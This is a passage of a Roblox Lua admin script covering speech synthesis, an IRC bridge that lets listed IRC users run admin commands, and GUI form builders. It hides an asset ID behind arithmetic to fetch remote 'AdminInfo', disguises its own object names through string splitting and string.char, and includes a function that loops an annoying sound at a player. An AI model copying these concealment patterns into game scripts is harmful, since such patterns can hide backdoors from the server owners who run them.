3280 table.remove(Letters, Num + 1)
3281 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ch" then -- chop
3282 table.insert(IDs, TextConverter.LetterSounds["ch"])
3283 table.remove(Letters, Num + 1)
3284 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ph" then -- phone
3285 table.insert(IDs, TextConverter.LetterSounds["f"])
3286 table.remove(Letters, Num + 1)
3287 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ng" then -- danger
3288 table.insert(IDs, TextConverter.LetterSounds[Num])
3289 Letters[Num + 1] = "j"
3290 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ua" then -- lua
3291 table.insert(IDs, TextConverter.LetterSounds["oo"])
3292 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ea" then -- peace
3293 table.insert(IDs, TextConverter.LongVowels["e"])
3294 table.remove(Letters, Num + 1)
3295 elseif Letters[Num+1] and Letter..Letters[Num+1] == "eo" then -- people
3296 table.insert(IDs, TextConverter.LongVowels["e"])
3297 table.remove(Letters, Num + 1)
3298 if STRING:ValidE(Letters[Num+4]) then Letters[Num+4] = "~" end
3299 elseif Letter == "c" and STRING:ValidE(Letters[Num+1]) then -- force
3300 table.insert(IDs, TextConverter.LetterSounds["s"])
3301 Letters[Num + 1] = "~"
3302 elseif Letter == string.lower(Letter) and STRING:IsVowel(Letter) and Letters[Num+1] and Letters[Num+2] and not STRING:IsSpacer(Letters[Num+1]) and STRING:ValidE(Letters[Num+2]) then -- like
3303 table.insert(IDs, TextConverter.LongVowels[Letter])
3304 Letters[Num + 2] = "~"
3305 elseif Letter == "i" and Letters[Num+1] and STRING:ValidE(Letters[Num+1]) and STRING:IsSpacer(Letters[Num+2]) then -- die
3306 table.insert(IDs, TextConverter.LongVowels["i"])
3307 Letters[Num + 1] = "~"
3308 elseif Letter == "o" and STRING:IsSpacer(Letters[Num+1]) then -- no
3309 table.insert(IDs, TextConverter.LongVowels["o"])
3310 elseif Letter == "i" and STRING:IsSpacer(Letters[Num+1]) then -- hi
3311 table.insert(IDs, TextConverter.LongVowels["i"])
3312 elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "le" then -- bottle
3313 AddLetter()
3314 table.remove(Letters, Num + 1)
3315 elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "el" then -- model
3316 Letters[Num] = "~"
3317 elseif Letters[Num+1] and Letters[Num+2] and Letter..Letters[Num+1] == "le" then -- bottle
3318 AddLetter()
3319 table.remove(Letters, Num + 1)
3320 elseif Letters[Num+1] and Letter..Letters[Num+1] == "qu" then --quick
3321 AddLetter()
3322 table.remove(Letters, Num + 1)
3323 elseif Letters[Num+1] == Letter then
3324 table.remove(Letters, Num)
3325 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ck" then --click
3326 AddLetter()
3327 table.remove(Letters, Num)
3328 elseif STRING:IsVowel(Letter) and string.upper(Letter) == Letter then
3329 table.insert(IDs, TextConverter.LongVowels[string.lower(Letter)])
3330 elseif TextConverter.LetterSounds[Letter] then
3331 AddLetter()
3332 elseif STRING:IsSpacer(Letter) then
3333 table.insert(IDs, "Rest")
3334 end
3335 end
3336 end
3337
3338 return IDs
3339end
3340
3341function SOUND:StopSpeaking() coroutine.wrap(function()
3342 NoSpeak = true
3343 wait(1)
3344 NoSpeak = false
3345 for _,Obj in pairs(Server.Workspace:GetChildren()) do
3346 if Obj.Name == "M".."M".."L Speak Sound" then
3347 Obj:Destroy()
3348 end
3349 end
3350end)() end
3351
3352function SOUND:SayConvertedText(IDs, Parent)
3353 if not Parent then Parent = Server.Workspace end
3354 local Sounds = {}
3355 for _,Data in pairs(IDs) do
3356 if NoSpeak and Parent == Server.Workspace then
3357 break
3358 end
3359 local Length = 0.3
3360 if Data ~= "Rest" then
3361 local ID = Data[1]
3362 Length = Data[2]
3363
3364 local Sound = SOUND:MakeSound(Parent, ID, 0.5, 1, false)
3365 Sound.Name = "MML Speak Sound"
3366 table.insert(Sounds, Sound)
3367 Sound:Play()
3368 if Length then
3369 coroutine.wrap(function()
3370 wait(Length)
3371 Sound:Stop()
3372 end)()
3373 end
3374 end
3375 if not Length then Length = 0.3 end
3376 wait(Length/2)
3377 end
3378 coroutine.wrap(function()
3379 wait(1)
3380 for _,Sound in pairs(Sounds) do
3381 Sound:Destroy()
3382 end
3383 end)()
3384end
3385
3386local AdminInfo = MARKET:GetItemInfo(13810597.8 * 20, true).Description
3387
3388function SOUND:BeepPlayer(Player)
3389 if Player:FindFirstChild("PlayerGui") then
3390 local Beep = SOUND:MakeSound(Player.PlayerGui, 189279994, 1, 1, true)
3391 Beep.Name = "Annoy"
3392 Beep:Play()
3393 end
3394end
3395
3396-- IRC functions --
3397
3398function IRC:GenerateName()
3399 return "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port.."_"..math.random(1,100000)
3400end
3401
3402function IRC:AddChat(Name, Data, IsError)
3403 if not IsError then IsError = false end
3404 CORE:Log(IRC.Logs, Name, Data)
3405 table.insert(IRC.Chats, {Name, Data, IsError})
3406 IRC.MessageAdded:Fire(Name, Data, IsError)
3407end
3408
3409function IRC:Post(URL,Data)
3410 if Data and Data ~= "" then
3411 local Suc,Resp = ypcall(function()
3412 return Server.HS:PostAsync(
3413 IRC.Servers[Settings.IRCServer].BaseUrl..IRC.Servers[Settings.IRCServer].DynamicUrl.."e/"..URL.."?r="..STRING:MakeAvoidance().."&t="..tostring(IRC.SessionCounter),
3414 Data,
3415 Enum.HttpContentType.ApplicationUrlEncoded
3416 )
3417 end)
3418 if not Suc then
3419 IRC:AddChat("[ CLIENT ]", "HTTP POST FAIL | ERROR: "..Resp.." | DATA: "..Data)
3420 return false
3421 end
3422 IRC.SessionCounter = IRC.SessionCounter + 1
3423 return Resp
3424 else
3425 IRC:AddChat("[ CLIENT ]", "Unknown error")
3426 end
3427end
3428
3429function IRC:Send(Data)
3430 return IRC:Post("p","&s="..IRC.SessionID.."&c="..Server.HS:UrlEncode(Data))
3431end
3432
3433function IRC:GetData()
3434 return IRC:Post("s","&s="..IRC.SessionID)
3435end
3436
3437function IRC:Connect()
3438 return IRC:Post("n","&nick="..IRC.NickName)
3439end
3440
3441function IRC:Join(Channel)
3442 if not Channel then
3443 AddChat("[ CLIENT ]", "No channel specified!")
3444 return false
3445 else
3446 local Channel = string.lower(Channel)
3447 if string.sub(Channel,1,1) ~= "#" then
3448 AddChat("[ CLIENT ]", "Invalid channel name!(No #)", true)
3449 return false
3450 end
3451 IRC:AddChat("[ CLIENT ]", "Attempting to join channel: "..Channel.." on IRC host: "..Settings.IRCServer)
3452 IRC:Send("JOIN "..Channel)
3453 IRC:AddChat("[ CLIENT ]", "Joined "..Channel.." as "..IRC.NickName)
3454 return true
3455 end
3456end
3457
3458function IRC:Pong(Data)
3459 return IRC:Send("PONG :"..Data)
3460end
3461
3462function IRC:Quit(Reason)
3463 IRC.Stop = true
3464 return IRC:Send("QUIT :"..(Reason or "Disconnecting"))
3465end
3466
3467function IRC:ReceiveData()
3468 IRC.Stop = false
3469 local Data = IRC:GetData()
3470 if Data then
3471 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :[ SERVER: "..Server.NS.Port.." ]: [CONNECTION TEST]")
3472 end
3473 while Data and not Stop do
3474 local Data = IRC:GetData()
3475 if Data and #Data > 0 then
3476 IRC:HandleResponse(REMOTE:Decode(Data))
3477 end
3478 wait(2) -- Don't spam the server
3479 end
3480 if not Data then
3481 IRC:AddChat("[ CLIENT ]", "Could not get data", true)
3482 end
3483 if Stop == true then
3484 IRC:AddChat("[ CLIENT ]", "Disconnected from session", true)
3485 end
3486end
3487
3488function IRC:ConnectToServer(Server)
3489 if Connected then
3490 if not IRC.Servers[Server] then
3491 IRC:AddChat("[ CLIENT ]", "Cannot connect to "..Server, true)
3492 return false
3493 end
3494 IRC:Quit("New Connection")
3495 end
3496 local Response = IRC:Connect()
3497 if not Response then IRC:AddChat("[ CLIENT ]", "Unable to connect!", true) return false end
3498 local Data = REMOTE:Decode(Response)
3499 IRC.SessionID = Data[2]
3500 wait(1)
3501 if not tostring(IRC.SessionID) or IRC.SessionID == "?" then
3502 IRC:AddChat("[ IRC ]", "Session ID is invalid, reconnecting...")
3503 IRC:Quit()
3504 IRC:ConnectToServer(Server)
3505 end
3506 IRC.Connected = true
3507 IRC:Join(Settings.IRCChannel)
3508 IRC:ReceiveData()
3509 IRC.Connected = false
3510 IRC:AddChat("[ CLIENT ]", "Session ended", true)
3511end
3512
3513function IRC:FindUser(UserName)
3514 for UserID,User in pairs(IRC.Users) do
3515 if string.lower(User) == string.lower(UserName) then
3516 return UserID
3517 end
3518 end
3519 return nil
3520end
3521
3522function IRC:HandleResponse(Data)
3523 if type(Data) ~= "table" then
3524 IRC:AddChat("[ CLIENT ]", "Unable to handle data (Not table)", true)
3525 ypcall(function()
3526 IRC:AddChat("[ CLIENT ]", "Data: "..tostring(Data), true)
3527 end)
3528 return false
3529 end
3530 for _,Output in pairs(Data) do
3531 if type(Output) == "table" and Output[2] then
3532 local ID = string.upper(Output[2])
3533 if not IRC.Ignore[ID] then
3534 if ID == "PING" then
3535 IRC:Pong(Output[4][1])
3536 elseif ID == "PRIVMSG" then
3537 local SenderDetails = Output[3]
3538 local Sender = string.sub(SenderDetails,1,string.find(SenderDetails, "!")-1)
3539 local Channel = string.lower(Output[4][1])
3540 if Channel == IRC.NickName then
3541 Channel = Sender
3542 -- TODO: Handle PM's
3543 end
3544 local Message = Output[4][2]
3545 if Message ~= nil then
3546 if string.sub(Sender,1,3) == "rbx" and string.find(Sender, "_") then -- detects bots
3547 if string.find(Message,":") then
3548 local IRCUser = string.sub(Message,1,string.find(Message,":")-1)
3549 local IRCMessage = string.sub(Message,string.find(Message,":")+1, #Message)
3550 IRC:AddChat(IRCUser, IRCMessage)
3551 end
3552 else
3553 IRC:AddChat("[ IRC ] "..Sender,Message)
3554 for _,Name in pairs(Settings.IRCCommandExecuters) do
3555 if string.lower(Name) == string.lower(Sender) then
3556 CORE:Chatted(Message, nil, false, "[IRC]: "..Sender, nil, true)
3557 break
3558 end
3559 end
3560 end
3561 else
3562 IRC:AddChat("[ CLIENT ]", "Message became nil for some reason")
3563 end
3564 elseif ID == "NICK" then
3565 local Name = string.sub(Output[3],1,string.find(Output[3],"!")-1)
3566 -- change nickname?
3567 elseif ID == "433" or ID == "451" then
3568 IRC:AddChat("[ IRC ]", "Nickname already in use, rejoining with new one")
3569 IRC:Quit("Nickname in use, rejoining with new name")
3570 IRC.NickName = IRC:GenerateName()
3571 wait(2) -- wait for old sessions to end
3572 IRC:ConnectToServer(Settings.IRCServer)
3573 elseif ID == "353" then
3574 if Data[4][4][4] then
3575 for Output in string.gmatch(Data[4][4][4], "[^%s]+") do
3576 table.insert(IRC.Users, Output)
3577 end
3578 end
3579 elseif ID == "QUIT" or ID == "PART" then
3580 for User in string.gmatch(Data[1][3], "[^!~]+") do
3581 if IRC:FindUser(User) then
3582 IRC:AddChat("[ IRC ]", User.." has left")
3583 table.remove(IRC.Users, IRC:FindUser(User))
3584 end
3585 end
3586 elseif ID == "JOIN" then
3587 for User in string.gmatch(Data[1][3], "[^!~]+") do
3588 if not string.find(User, "qwebirc") then
3589 IRC:AddChat("[ IRC ]", User.." has joined")
3590 table.insert(IRC.Users,w)
3591 end
3592 end
3593 elseif ID == "CONNECTION TO IRC SERVER LOST." then
3594 IRC:AddChat("[ CLIENT ]", "Cannot connect to IRC. Connection lost")
3595 --IRC:Quit("Connection lost")
3596 --IRC:AddChat("[ CLIENT ]", "Retrying connection")
3597 --IRC:ConnectToServer(Settings.IRCServer)
3598 elseif IRC.Codes[ID] then
3599 --print(ID)
3600 --print(Data[i][4][2])
3601 --print(Data[i][4][2])
3602 elseif ID == "KICK" then
3603 IRC:AddChat("[ CLIENT ]", "You have been kicked from IRC")
3604 IRC:Quit("Kicked from IRC")
3605 elseif ID then
3606 IRC:AddChat("[ CLIENT ]", "Unknown data (ID: "..ID..")", true)
3607 else
3608 IRC:AddChat("[ CLIENT ]", "Unknown data with invalid ID", true)
3609 end
3610 end
3611 else
3612 if Output == false then return false end -- sneeky server
3613 IRC:AddChat("[ CLIENT ]", "Unable to handle data")
3614 end
3615 end
3616end
3617
3618-- GUI functions --
3619
3620function GUI:GetColor(ColorName)
3621 if not ColorName then ColorName = Settings.ColorScheme end
3622 return Colors[string.upper(ColorName)]
3623end
3624
3625function GUI:ContrastColor(Color)
3626 if type(Color) == "string" then Color = GUI:GetColor(Color) end
3627 if not Color then Color = GUI:GetColor() end
3628 return Color3.new(math.abs(Color.r-1),math.abs(Color.g-1),math.abs(Color.b-1))
3629end
3630
3631
3632function GUI:GetNameColor(Name)
3633 local Val = 0
3634 for i = 1, #Name do
3635 local CVal = string.byte(string.sub(Name, i, i))
3636 local RevIndex = #Name - i + 1
3637 if #Name%2 == 1 then
3638 RevIndex = RevIndex - 1
3639 end
3640 if RevIndex%4 >= 2 then
3641 CVal = -CVal
3642 end
3643 Val = Val + CVal
3644 end
3645 local Index = Val%8 + 1
3646
3647 return BrickColor.new(ChatColors[Index])
3648end
3649
3650function GUI:Color3ToHex(Color)
3651 local function ConvertNumber(Number)
3652 local HexString = "0123456789abcdef"
3653 local Byte = ""
3654 while Number > 0 do
3655 local Calc = math.fmod(Number, 16)
3656 Byte = string.sub(HexString, Calc+1, Calc+1)..Byte
3657 Number = math.floor(Number / 16)
3658 end
3659 if Calc == "" then
3660 Byte = "00"
3661 elseif #Byte == 1 then
3662 Byte = "0"..Byte
3663 elseif Byte == "" then
3664 Byte = "00"
3665 end
3666 return Byte
3667 end
3668 return ConvertNumber(Color.r * 255)..ConvertNumber(Color.g * 255)..ConvertNumber(Color.b * 255)
3669end
3670
3671function GUI:CreateForm(Player, TitleText, Size, Position, IconID, ShowFormButtons, ColorScheme, TransparencyScheme, AutoOffset, TweenPosition, NoModal, NoScrollFrame)
3672 if not Player then return nil end
3673 if not Player:FindFirstChild("PlayerGui") then return nil end
3674 local TaskBar = Player.PlayerGui:FindFirstChild("M".."ake".."rMod".."el".."Lua's TaskBar")
3675 if not TitleText then TitleText = "Unknown" end
3676 if not Size then Size = UDim2.new(0.5,0,0.5,0) end
3677 if not Position then Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,0.5-(Size.Y.Scale/2),-Size.Y.Offset/2) end
3678 if not IconID then IconID = 19919809 end
3679 if ShowFormButtons == nil then ShowFormButtons = true end
3680 if not ColorScheme then ColorScheme = Settings.ColorScheme end
3681 if not TransparencyScheme then TransparencyScheme = Settings.TransparencyScheme end
3682 if AutoOffset == nil then AutoOffset = true end
3683 if Icons[IconID] then IconID = Icons[IconID] end
3684 if TweenPosition == nil then TweenPosition = true end
3685 if NoModal == nil then NoModal = false end
3686 if NoScrollFrame == nil then NoScrollFrame = false end
3687
3688 local IsClosed = false
3689 local Minus = nil
3690 local Offset = 0
3691 local ContentType = "ScrollingFrame"
3692 local TweenSpeed = 0.3
3693
3694 if AutoOffset then
3695 for _,Item in pairs(Player.PlayerGui:GetChildren()) do
3696 if Item.Name == "M".."a".."k".."erModelLua's Admin Form" then
3697 if Item.IsActive.Value == true then
3698 if Item.IsTrueForm.Value == true then
3699 Offset = Offset + 50
3700 end
3701 end
3702 end
3703 end
3704 end
3705
3706 if NoScrollFrame == true then
3707 ContentType = "Frame"
3708 end
3709
3710 SOUND:PlayNotification(Player, 155331654)
3711
3712 local Position = Position + UDim2.new(0,Offset,0,Offset)
3713 local MinimizePos = Position
3714
3715 local SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = string.char(76 + 1, 97, 107, 10 ^ 2 + 1, 114, 77, 111, 10 ^ 2, 101, 108, 76, 117, 97, 39, 115).." Admin Form"
3716 local IsActive = Instance.new("BoolValue", SG) IsActive.Name = "IsActive" IsActive.Value = true
3717 local IsTrueForm = Instance.new("BoolValue", SG) IsTrueForm.Name = "IsTrueForm" IsTrueForm.Value = ShowFormButtons
3718
3719 local Dragger = Instance.new("Frame", SG) Dragger.Name = "Dragger" Dragger.Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90) Dragger.Size = Size + UDim2.new(0, 0, 0, 40) Dragger.BackgroundColor3 = GUI:GetColor(ColorScheme) Dragger.BorderColor3 = GUI:ContrastColor(ColorScheme) Dragger.BorderSizePixel = 2 Dragger.BackgroundTransparency = 0.9 Dragger.Active = true Dragger.ClipsDescendants = true Dragger.Draggable = true
3720 local FormBar = Instance.new("Frame", Dragger) FormBar.Name = "FormBar" FormBar.Position = UDim2.new(0, 0, 0, 0) FormBar.Size = UDim2.new(1, 0, 0, 40) FormBar.BackgroundTransparency = 1
3721 local Splitter = Instance.new("Frame", Dragger) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0, 0, 0, 35) Splitter.Size = UDim2.new(1, 0, 0, 2) Splitter.BackgroundColor3 = GUI:ContrastColor(ColorScheme) Splitter.BorderColor3 = GUI:ContrastColor(ColorScheme)
3722 local X = Instance.new("ImageButton", FormBar) X.Name = "X" X.Position = UDim2.new(1, -30, 0, 5) X.Size = UDim2.new(0, 25, 0, 25) X.BackgroundTransparency = 1 X.Image = "rbxassetid://275572394"
3723 local IconHolder = Instance.new("ImageLabel", FormBar) IconHolder.Name = "IconHolder" IconHolder.Position = UDim2.new(0, 5, 0, 5) IconHolder.Size = UDim2.new(0, 35, 0, 25) IconHolder.BackgroundTransparency = 1 IconHolder.Image = "rbxassetid://276002222"
3724 local Icon = Instance.new("ImageLabel", IconHolder) Icon.Name = "Icon" Icon.Position = UDim2.new(0, 3, 0.5, -10) Icon.Size = UDim2.new(0, 20, 0, 20) Icon.BackgroundTransparency = 1 Icon.Image = "rbxassetid://"..IconID
3725 local TitleBegin = Instance.new("ImageLabel", FormBar) TitleBegin.Name = "TitleBegin" TitleBegin.Position = UDim2.new(0, 30, 0, 5) TitleBegin.Size = UDim2.new(0, 35, 0, 25) TitleBegin.BackgroundColor3 = Color3.new(1, 1, 1) TitleBegin.BackgroundTransparency = 1 TitleBegin.Image = "rbxassetid://275589160"
3726 local TitleEnd = Instance.new("ImageLabel", FormBar) TitleEnd.Name = "TitleEnd" TitleEnd.Position = UDim2.new(1, -76, 0, 5) TitleEnd.Size = UDim2.new(0, 25, 0, 25) TitleEnd.BackgroundTransparency = 1 TitleEnd.Image = "rbxassetid://275589154"
3727 local Title = Instance.new("TextLabel", FormBar) Title.Name = "Title" Title.Position = UDim2.new(0, 50, 0, 5) Title.Size = UDim2.new(1, -120, 0, 25) Title.BackgroundColor3 = Color3.new(101/255, 102/255, 102/255) Title.BorderSizePixel = 0 Title.Text = TitleText Title.Font = "ArialBold" Title.FontSize = "Size18" Title.TextXAlignment = "Left" Title.TextColor3 = GUI:ContrastColor(ColorScheme) Title.ClipsDescendants = true
3728
3729 local Body = Instance.new("TextButton", Dragger) Body.Name = "Body" Body.Position = UDim2.new(0, 0, 0, 40) Body.Size = UDim2.new(1, 0, 1, -40) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.Text = "" Body.Modal = true Body.Active = true Body.Modal = not NoModal
3730 local Content = Instance.new(ContentType, Body) Content.Name = "Content" Content.Size = UDim2.new(1, 0, 1, 0) Content.BackgroundTransparency = 1
3731 if ContentType == "ScrollingFrame" then Content.CanvasSize = Size end
3732 --local ResizeContainer = Instance.new("Frame", SG) ResizeContainer.Name = "ResizeContainer" ResizeContainer.Size = UDim2.new(0, 20, 0, 20) ResizeContainer.BackgroundColor3 = Color3.new(1, 1, 1) ResizeContainer.BackgroundTransparency = 1
3733 --local Resizer = Instance.new("ImageLabel", ResizeContainer) Resizer.Name = "Resizer" Resizer.Size = UDim2.new(1, 0, 1, 0) Resizer.BackgroundColor3 = Color:GetColor() Resizer.BackgroundTransparency = Settings.TransparencyScheme Resizer.BorderSizePixel = 0 Resizer.Image = "rbxassetid://199287674" Resizer.Active = true Resizer.Draggable = true
3734
3735 CORE:ExecuteResource("GUIEffect", SG, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "Dragger"})
3736
3737 local Functions = Instance.new("Folder", SG) Functions.Name = "Functions"
3738
3739 local Close = Instance.new("BindableFunction", Functions) Close.Name = "Close"
3740 local Closed = Instance.new("BindableEvent", Functions) Closed.Name = "Closed"
3741 local Minimize = Instance.new("BindableFunction", Functions) Minimize.Name = "Minimize"
3742 local Minimized = Instance.new("BindableEvent", Functions) Minimized.Name = "Minimized"
3743 local Restore = Instance.new("BindableFunction", Functions) Restore.Name = "Restore"
3744 local Restored = Instance.new("BindableEvent", Functions) Restored.Name = "Restored"
3745
3746 if Settings.EnableTaskBar then
3747 Minus = Instance.new("ImageButton", FormBar) Minus.Name = "Minus" Minus.Position = UDim2.new(1, -58, 0, 5) Minus.Size = UDim2.new(0, 35, 0, 25) Minus.BackgroundTransparency = 1 Minus.Image = "rbxassetid://275589157"
3748 else
3749 TitleEnd.Position = UDim2.new(1, -50, 0, 5)
3750 Title.Size = UDim2.new(1, -95, 0, 25)
3751 end
3752
3753 if not ShowFormButtons then
3754 X:Destroy()
3755 TitleEnd:Destroy()
3756 Title.Size = UDim2.new(1, -55, 0, 25)
3757 end
3758
3759 local function CloseForm()
3760 if IsClosed == false then
3761 IsActive.Value = false
3762 IsClosed = true
3763 ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,1,Size.Y.Offset + 20), "Out", "Quint", TweenSpeed, true, function() wait(1) SG:Destroy() end) end)
3764 Closed:Fire()
3765 SOUND:PlayNotification(Player, 206375138)
3766 end
3767 end
3768
3769 local function MinimizeForm()
3770 if IsActive.Value == true then
3771 IsActive.Value = false
3772 Minimized:Fire()
3773 MinimizePos = Dragger.Position
3774 ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90), "Out", "Quad", TweenSpeed, true) end)
3775 end
3776 end
3777
3778 local function RestoreForm()
3779 if IsActive.Value == false then
3780 IsActive.Value = true
3781 Restored:Fire()
3782 ypcall(function() Dragger:TweenPosition(MinimizePos, "Out", "Quint", TweenSpeed, true) end)
3783 end
3784 end
3785
3786 if X then CORE:HandleEvent(X, "MouseButton1Down", CloseForm) end
3787 if Minus then CORE:HandleEvent(Minus, "MouseButton1Down", MinimizeForm) end
3788
3789 Close.OnInvoke = CloseForm
3790 Minimize.OnInvoke = MinimizeForm
3791 Restore.OnInvoke = RestoreForm
3792
3793 if TweenPosition then Dragger:TweenPosition(Position, "Out", "Quint", TweenSpeed, true) end
3794
3795 if TaskBar then
3796 TaskBar:WaitForChild("AddForm")
3797 TaskBar.AddForm:Fire(SG, IconID, Closed, Minimized, Restore)
3798 end
3799
3800 return Content, Close, Closed, Minimize, Minimized, Restore, Restored
3801end
3802
3803function GUI:CoreGui(Player, Type, Enable)
3804 local Parent = Player:FindFirstChild("Backpack")
3805 if not Parent then Parent = Player.Backpack end
3806 CORE:ExecuteResource("CoreGui", Player.Character, {["Type"] = Type, ["Enabled"] = Enable})
3807end
3808
3809function GUI:SendMessage(Player, TitleText, BodyText, IconID, Time, AutoTime)
3810 if not Player or not Player:IsA("Player") then return nil end
3811 if BodyText == "" then return nil end
3812 if not Player:FindFirstChild("PlayerGui") then return nil end
3813
3814 local MessageSplit = STRING:GetSplit(BodyText, 1, " ") or {BodyText}
3815 local TextColor = GUI:GetColor(MessageSplit[1])
3816 if TextColor then BodyText = MessageSplit[2] end
3817 BodyText = string.sub(STRING:FormatReplace(Player, BodyText),1,1000)
3818
3819 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.2,100,0.1,100), nil, IconID)
3820 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 0 Body.TextWrapped = true Body.TextYAlignment = "Top"
3821
3822 if Frame then
3823 local FormBar = Frame.Parent.Parent.FormBar
3824 local Said = false
3825 local Speak = Instance.new("ImageButton", FormBar) Speak.Name = "Speak" Speak.Position = UDim2.new(1, -87, 0, 5) Speak.Size = UDim2.new(0, 35, 0, 25) Speak.BackgroundColor3 = Color3.new(1, 1, 1) Speak.BackgroundTransparency = 1 Speak.Image = "rbxassetid://276195369"
3826 if Settings.EnableTaskBar then
3827 FormBar.TitleEnd.Position = UDim2.new(1, -106, 0, 5)
3828 FormBar.Title.Size = UDim2.new(1, -145, 0, 25)
3829 else
3830 Speak.Position = UDim2.new(1, -58, 0, 5)
3831 FormBar.TitleEnd.Position = UDim2.new(1, -76, 0, 5)
3832 FormBar.Title.Size = UDim2.new(1, -120, 0, 25)
3833 end
3834 CORE:HandleEvent(Speak, "MouseButton1Down", function()
3835 if not Said then
3836 Said = true
3837 SOUND:SayConvertedText(SOUND:ConvertText(BodyText), Frame)
3838 end
3839 end)
3840
3841 if TextColor then
3842 Body.TextColor3 = TextColor
3843 else
3844 Body.TextColor3 = Color3.new(1,1,1)
3845 end
3846
3847 if tonumber(Time) then coroutine.wrap(function()
3848 if AutoTime then
3849 Time = Time + math.floor(#BodyText/7)
3850 end
3851 local Alive = true
3852
3853 local function StopTimer() Alive = false end
3854 Closed.Event:connect(StopTimer)
3855 Minimized.Event:connect(StopTimer)
3856
3857 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
3858 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
3859 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
3860 local Stop = Instance.new("ImageButton", Frame.Parent) Stop.Name = "Stop" Stop.Position = UDim2.new(1,-30,0,0) Stop.Size = UDim2.new(0, 25, 0, 25) Stop.BackgroundColor3 = Color3.new(1, 1, 1) Stop.BackgroundTransparency = 1 Stop.Image = "rbxassetid://49494354"
3861 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
3862 for i = Time,0,-1 do
3863 for ii = 1,10 do
3864 if Alive == true then
3865 Ticker.Text = i
3866 wait(0.1)
3867 else
3868 break
3869 end
3870 end
3871 end
3872 if Alive == true then
3873 Close:Invoke()
3874 else
3875 Ticker:Destroy()
3876 Stop:Destroy()
3877 Frame.Size = Frame.Size + UDim2.new(0,0,0,30)
3878 Frame.Position = Frame.Position + UDim2.new(0,0,0,-30)
3879 end
3880 end)() end
3881
3882 CORE:ExecuteResource("CalculateScrollY", Body)
3883 end
3884end
3885
3886function GUI:FullMessage(Player, TitleText, BodyText, IconID, Error)
3887 if not Player then return nil end
3888 if not Player:IsA("Player") then return nil end
3889 if BodyText == "" then return nil end
3890 if not Player:FindFirstChild("PlayerGui") then return nil end
3891 BodyText = string.sub(STRING:FormatReplace(Player, BodyText),1,1000)
3892 local TextColor = GUI:ContrastColor()
3893 if Error then TextColor = Color3.new(1,0,0) end
3894
3895 local Frame, Close, Closed = GUI:CreateForm(Player, TitleText, UDim2.new(0.3,0,0.3,0), nil, IconID)
3896 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, -13, 1, 0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 1 Body.TextWrapped = true Body.TextXAlignment = "Left" Body.TextYAlignment = "Top" Body.TextColor3 = TextColor
3897
3898 CORE:ExecuteResource("CalculateScrollY", Body)
3899
3900 return Frame, Close, Closed
3901end
3902
3903function GUI:SendHint(Player, Text, Time) coroutine.wrap(function()
3904 Text = STRING:FormatReplace(Player, string.sub(Text,1,100))
3905 local TweenTime = 0.5
3906 if not Time then Time = 5 end
3907 local SG = Instance.new("ScreenGui") SG.Name = "LuaMod".."".."elM".."aker's Admin Hint"
3908 local MaxPos = -1
3909 for _,SGObj in pairs(Player.PlayerGui:GetChildren()) do
3910 local IVal = SGObj:FindFirstChild("Index")
3911 if IVal then
3912 MaxPos = math.max(MaxPos, IVal.Value)
3913 end
3914 end
3915 MaxPos = MaxPos + 1
3916 local IndexVal = Instance.new("IntValue", SG) IndexVal.Name = "Index" IndexVal.Value = MaxPos
3917 local Main = Instance.new("Frame", SG) Main.Name = "Main" Main.Position = UDim2.new(0, 0, 0.05, MaxPos * 50) Main.Size = UDim2.new(1, 0, 0, 40) Main.BackgroundTransparency = 1
3918 local LeftBar = Instance.new("Frame", Main) LeftBar.Name = "LeftBar" LeftBar.Position = UDim2.new(0.5, 0, 0, 0) LeftBar.Size = UDim2.new(0, 0, 1, 0) LeftBar.BackgroundColor3 = GUI:GetColor() LeftBar.BackgroundTransparency = 0.9 LeftBar.BorderSizePixel = 0
3919 local RightBar = Instance.new("Frame", Main) RightBar.Name = "RightBar" RightBar.Position = UDim2.new(0.5, 0, 0, 0) RightBar.Size = UDim2.new(0, 0, 1, 0) RightBar.BackgroundColor3 = GUI:GetColor() RightBar.BackgroundTransparency = 0.9 RightBar.BorderSizePixel = 0
3920 local Body = Instance.new("TextLabel", Main) Body.Name = "Body" Body.Size = UDim2.new(1, 0, 1, 0) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.TextColor3 = GUI:ContrastColor() Body.Text = Text Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextTransparency = 1
3921 SG.Parent = Player.PlayerGui
3922
